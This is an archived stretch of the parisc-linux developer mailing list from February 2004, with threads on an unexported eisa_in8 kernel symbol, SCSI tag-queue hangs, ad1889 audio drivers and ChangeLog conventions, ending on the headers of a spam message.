X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=0,
	benoetigt 5)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 11:48:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20911

Hello,

when I configure lastest kernel from cvs to use parport and lp driver as 
module, I get the following warning when running "make modules_install":

WARNING: /lib/modules/2.6.3-pa0/kernel/drivers/char/lp.ko needs unknown 
symbol eisa_in8
WARNING: /lib/modules/2.6.3-pa0/kernel/drivers/char/parport-pc.ko needs 
unknown symbol eisa_in8

Is in both files a definition for io.h missing?

Greetings,   
Ruediger


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sun, 22 Feb 2004 15:46:08 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <4038C0B0.F7D1708A@tiscalinet.it>
References: <20040218235225.GA1623@calypso>
	<20040219062907.GC13916@colo.lackof.org>
	<20040221075849.GA1642@calypso> <20040221170508.GB14198@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623216 5812 80.91.229.3 (22 Nov 2014 02:26:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: rollei@tiscalinet.it  Sun Feb 22 07:38:31 2004
Return-Path: <rollei@tiscalinet.it>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 724B14879
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 07:38:31 -0700 (MST)
Original-Received: from tiscalinet.it (151.41.157.136) by smtp0.libero.it
	(7.0.020-DD01) (authenticated as zuse@libero.it)
	id 401D53C7009098CB; Sun, 22 Feb 2004 15:37:57 +0100
Original-Sender: multix@dsl2.external.hp.com
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX64 6.5 IP30)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 14:38:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20912

Carlos O'Donell wrote:
> 
> > Thanks! Changing NCR_700_MAX_TAGS to 1 in drivers/scsi/53c700.h did the
> > trick. Will I now have poor disk performance? If so, might I get away
> > with setting it to something higher, like 2 or 4, maybe?
> 
> I could never run IO stably at anything higher than 1. The drives don't
> seem to handle it properly, the error recovery mechanisms seem less
> than perfect, and the box just hangs.
It really depends on the drive. I have a Fujitsu Enterprise and it has a
specified tag queue of 128 commands. So if something fails, it is the
driver or HP's hardware.

I have a 715 scorpio and when I used ext2 or reiser with a tag queue of
16 I had very frequent freezes up to a point were the system wouldn't
even mount the partition.

There was a discussion that hp set it to 2 for workstations and to 8 for
servers. I have set it right now to 8 (since mavbe the NCR 7100 I have
doesn't even support more) and I use XFS instead of reiser. I had no
more problems...

I would set the tag queue as default to 8 and not to 16, to stay on the
safe side. Couldn't it be made configurable from the kernel
configuration menu?


What I notivced that some drives seem to be incompatible. I had 2 hard
disks that worked together (an original quantum divre rebranded HP and
an IBM disk). Since my ibm disk died I substitued it with the Fujitsu,
used a new Filesystem and a newer kernel. There was no way to see both
disks when linux booted. I had to remove the original HP disk and
substitute it (a nuisance, since it contained the home directories).
Attaching each time only one of the two disks recognized the correct
disk respectively but both disk weren't. Another disk had no problem.

-Riccardo


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unknown symbol eisa_in8
Date: Sun, 22 Feb 2004 15:23:46 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20040222152346.GQ11824@parcelfarce.linux.theplanet.co.uk>
References: <40389735.2070702@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623216 5816 80.91.229.3 (22 Nov 2014 02:26:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: willy@www.linux.org.uk  Sun Feb 22 08:23:48 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E771490D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 08:23:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AuvSM-0004tH-Sv; Sun, 22 Feb 2004 15:23:46 +0000
Content-Disposition: inline
In-Reply-To: <40389735.2070702@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 15:23:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20913

On Sun, Feb 22, 2004 at 12:49:09PM +0100, Ruediger Scholz wrote:
> when I configure lastest kernel from cvs to use parport and lp driver as 
> module, I get the following warning when running "make modules_install":
> 
> WARNING: /lib/modules/2.6.3-pa0/kernel/drivers/char/lp.ko needs unknown 
> symbol eisa_in8
> WARNING: /lib/modules/2.6.3-pa0/kernel/drivers/char/parport-pc.ko needs 
> unknown symbol eisa_in8
> 
> Is in both files a definition for io.h missing?

Nope, you've found a better problem than that.  We aren't exporting
eisa_in8 to modules.  Fix coming up shortly.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sun, 22 Feb 2004 15:30:29 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <4038CB15.5060507@tiscali.be>
References: <20040218235225.GA1623@calypso>	<20040219062907.GC13916@colo.lackof.org>	<20040221075849.GA1642@calypso>
	<20040221170508.GB14198@baldric.uwo.ca>
	<4038C0B0.F7D1708A@tiscalinet.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623216 5819 80.91.229.3 (22 Nov 2014 02:26:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Riccardo <rollei@tiscalinet.it>
Original-X-From: soete.joel@tiscali.be  Sun Feb 22 08:29:51 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE2A44914
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 08:29:50 -0700 (MST)
Original-Received: from [62.235.120.76] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AuvYC-0000l9-F4; Sun, 22 Feb 2004 16:29:48 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <4038C0B0.F7D1708A@tiscalinet.it>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 15:29:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20914



Riccardo wrote:
> Carlos O'Donell wrote:
> 
>>>Thanks! Changing NCR_700_MAX_TAGS to 1 in drivers/scsi/53c700.h did the
>>>trick. Will I now have poor disk performance? If so, might I get away
>>>with setting it to something higher, like 2 or 4, maybe?
>>
>>I could never run IO stably at anything higher than 1. The drives don't
>>seem to handle it properly, the error recovery mechanisms seem less
>>than perfect, and the box just hangs.
> 
> It really depends on the drive. I have a Fujitsu Enterprise and it has a
> specified tag queue of 128 commands. So if something fails, it is the
> driver or HP's hardware.
> 
> I have a 715 scorpio and when I used ext2 or reiser with a tag queue of
> 16 I had very frequent freezes up to a point were the system wouldn't
> even mount the partition.
> 
> There was a discussion that hp set it to 2 for workstations and to 8 for
> servers. I have set it right now to 8 (since mavbe the NCR 7100 I have
> doesn't even support more) and I use XFS instead of reiser. I had no
> more problems...
> 
> I would set the tag queue as default to 8 and not to 16, to stay on the
> safe side. Couldn't it be made configurable from the kernel
> configuration menu?
> 
Good idea.
> 
> What I notivced that some drives seem to be incompatible. I had 2 hard
> disks that worked together (an original quantum divre rebranded HP and
> an IBM disk). Since my ibm disk died I substitued it with the Fujitsu,
> used a new Filesystem and a newer kernel. There was no way to see both
> disks when linux booted.
And you are sure that scsi id are well different and scsi chain well terminated, I supose.
> I had to remove the original HP disk and
> substitute it (a nuisance, since it contained the home directories).
> Attaching each time only one of the two disks recognized the correct
> disk respectively but both disk weren't. Another disk had no problem.
> 
hmm, I leaved the same experience but with two external disks of exactly the same type (same supplier: hp, same manufactor: 
seagate, same product reference) but with a small firmware revision difference. Unfortunately, this pb only occured under linux 
:(. Now the disk is broken again; so no chance to test it with more recent kernel 2.4 or 2.6 :(

Joel


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ad1889 driver/docs for c3k/j5k audio
Date: Sun, 22 Feb 2004 09:25:44 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20040222162544.GA9367@colo.lackof.org>
References: <20040222092057.GA2590@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623217 5821 80.91.229.3 (22 Nov 2014 02:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: grundler@lackof.org  Sun Feb 22 09:26:05 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 332F54919
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 09:26:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6C7E6298063; Sun, 22 Feb 2004 09:26:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09245-09; Sun, 22 Feb 2004 09:25:44 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D029F29805A; Sun, 22 Feb 2004 09:25:44 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040222092057.GA2590@calypso>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 16:26:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20915

On Sun, Feb 22, 2004 at 09:20:57AM +0000, Stuart Brady wrote:
...
> One question: are there any audio devices for hppa that need drivers,
> that have documentation? I see that audio on the J5k/C3k is unsupported,

As you noted ad1889 is available but only sort-of works:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-April/019650.html

I posted the only documentation we have for ad1889:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016704.html

If you have patches for ad1889, I'm happy to test (and commit) them for you.

thanks,
grant


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb: followup
Date: Sun, 22 Feb 2004 11:53:46 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200402221653.i1MGrkS8014490@hiauly1.hia.nrc.ca>
References: <20040222060002.GI25019@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623217 6077 80.91.229.3 (22 Nov 2014 02:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Feb 22 09:53:50 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E07384911
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 09:53:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i1MGrlg4014491; Sun, 22 Feb 2004 11:53:47 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i1MGrkS8014490;
	Sun, 22 Feb 2004 11:53:46 -0500 (EST)
In-Reply-To: <20040222060002.GI25019@baldric.uwo.ca> from "Carlos O'Donell" at
	Feb 22, 2004 01:00:02 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 16:53:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20916

> c. Write a 'Changelog' entry for the changes, and describe why you are
>    making these changes (e.g. compiling with gcc-3.5). These entries
>    have a very special format, look closely, and follow the GNU coding
>    convetions.

I'm not sure about glibc but in gcc ChangeLog entries only include
a concise list of changes for each function/macro changed.  The "why"
goes in your patch submission letter.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sun, 22 Feb 2004 18:16:48 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <4038E400.427F0528@tiscalinet.it>
References: <20040218235225.GA1623@calypso>	<20040219062907.GC13916@colo.lackof.org>	<20040221075849.GA1642@calypso>
	<20040221170508.GB14198@baldric.uwo.ca>
	<4038C0B0.F7D1708A@tiscalinet.it> <4038CB15.5060507@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623217 6078 80.91.229.3 (22 Nov 2014 02:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: rollei@tiscalinet.it  Sun Feb 22 10:08:34 2004
Return-Path: <rollei@tiscalinet.it>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EBFB491F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 10:08:34 -0700 (MST)
Original-Received: from tiscalinet.it (151.41.157.136) by smtp0.libero.it
	(7.0.020-DD01) (authenticated as zuse@libero.it)
	id 401D53C7009154A5 for parisc-linux@lists.parisc-linux.org;
	Sun, 22 Feb 2004 18:08:33 +0100
Original-Sender: multix@dsl2.external.hp.com
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX64 6.5 IP30)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 17:08:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20917

pre-scriptum: I am sending this to the list because when trying to send
an email directly to Joel I get his MTA answering I have invalid headers
(tried two times)
Joel Soete wrote:

> > I would set the tag queue as default to 8 and not to 16, to stay on the
> > safe side. Couldn't it be made configurable from the kernel
> > configuration menu?
> >
> Good idea.
It is not me that can make changes there, but it seems to me that 8 is
reasonable. Also, a kernel config option would make this parameter
obvious to everybody. I had only a small preformance decrease from 16 to
8 tags (well, disk IO sucks anyway under linux-pa and my old box). While
2 is pure sufference :)

> And you are sure that scsi id are well different and scsi chain well terminated, I supose.
Yes, the internal chain is terminated with the original HP terminator
and I removed the disk internal ones.
In fact substituing the original HP disk with another one removed the
problem (strangely enough, with the older IBM drive as a second drive I
had sometimes freezes but this problem did not appear).


> hmm, I leaved the same experience but with two external disks of exactly the same type (same supplier: hp, same manufactor:
> seagate, same product reference) but with a small firmware revision difference. Unfortunately, this pb only occured under linux
> :(. Now the disk is broken again; so no chance to test it with more recent kernel 2.4 or 2.6 :(

I used a failry recent kernel for there test, I believe 2.4.23.

The scsi code doesn't seem to be so stable and performing as compared to
hp-ux....

-Ric


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sun, 22 Feb 2004 17:54:55 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <4038ECEF.7020606@tiscali.be>
References: <20040218235225.GA1623@calypso>	<20040219062907.GC13916@colo.lackof.org>	<20040221075849.GA1642@calypso>	<20040221170508.GB14198@baldric.uwo.ca>	<4038C0B0.F7D1708A@tiscalinet.it>
	<4038CB15.5060507@tiscali.be> <4038E400.427F0528@tiscalinet.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623217 6083 80.91.229.3 (22 Nov 2014 02:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Riccardo <rollei@tiscalinet.it>
Original-X-From: soete.joel@tiscali.be  Sun Feb 22 10:54:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C75D4854
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 10:54:16 -0700 (MST)
Original-Received: from [62.235.120.76] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Auxny-0007Wa-Kq; Sun, 22 Feb 2004 18:54:14 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <4038E400.427F0528@tiscalinet.it>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 17:54:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20918

Hi Ricardo,

Riccardo wrote:
> pre-scriptum: I am sending this to the list because when trying to send
> an email directly to Joel I get his MTA answering I have invalid headers
> (tried two times)

Sorry my ISP pb certainly, I will try to check with support. Thanks for advise ;)

> Joel Soete wrote:
> 
> 
>>>I would set the tag queue as default to 8 and not to 16, to stay on the
>>>safe side. Couldn't it be made configurable from the kernel
>>>configuration menu?
>>>
>>
>>Good idea.
> 
> It is not me that can make changes there, but it seems to me that 8 is
> reasonable.
Agreed (anyway you can always suggest a patch, there are always well come :) )
> Also, a kernel config option would make this parameter
> obvious to everybody. I had only a small preformance decrease from 16 to
> 8 tags (well, disk IO sucks anyway under linux-pa and my old box). While
> 2 is pure sufference :)
> 
> 
>>And you are sure that scsi id are well different and scsi chain well terminated, I supose.
> 
> Yes, the internal chain is terminated with the original HP terminator
> and I removed the disk internal ones.
> In fact substituing the original HP disk with another one removed the
> problem (strangely enough, with the older IBM drive as a second drive I
> had sometimes freezes but this problem did not appear).
> 
> 
> 
>>hmm, I leaved the same experience but with two external disks of exactly the same type (same supplier: hp, same manufactor:
>>seagate, same product reference) but with a small firmware revision difference. Unfortunately, this pb only occured under linux
>>:(. Now the disk is broken again; so no chance to test it with more recent kernel 2.4 or 2.6 :(
> 
> 
> I used a failry recent kernel for there test, I believe 2.4.23.
> 
> The scsi code doesn't seem to be so stable and performing as compared to
> hp-ux....
> 
Certainly for numerous reason but on the other hand it is not ported (i don't mean portable, i am quiet sure it is) other platform :).

Thanks for info,
	Joel


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "stephen gordon" <stephen057@sympatico.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ERP/CRM Installed Customer Lists/Industry Specific
	Lists
Date: Mon, 23 Feb 2004 05:05:43 -0800
Lines: 115
Approved: news@gmane.org
Message-ID: <009401c3fa0d$bea30760$f5dcfea9@janewhnyyl5oyu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0090_01C3F9CA.B03F6300"
X-Trace: ger.gmane.org 1416623218 6087 80.91.229.3 (22 Nov 2014 02:26:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:58 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: stephen057@sympatico.ca  Sun Feb 22 15:04:59 2004
Return-Path: <stephen057@sympatico.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tomts25-srv.bellnexxia.net (tomts25.bellnexxia.net
	[209.226.175.188])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7939D4854
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 15:04:59 -0700 (MST)
Original-Received: from janewhnyyl5oyu ([67.70.110.85]) by tomts25-srv.bellnexxia.net
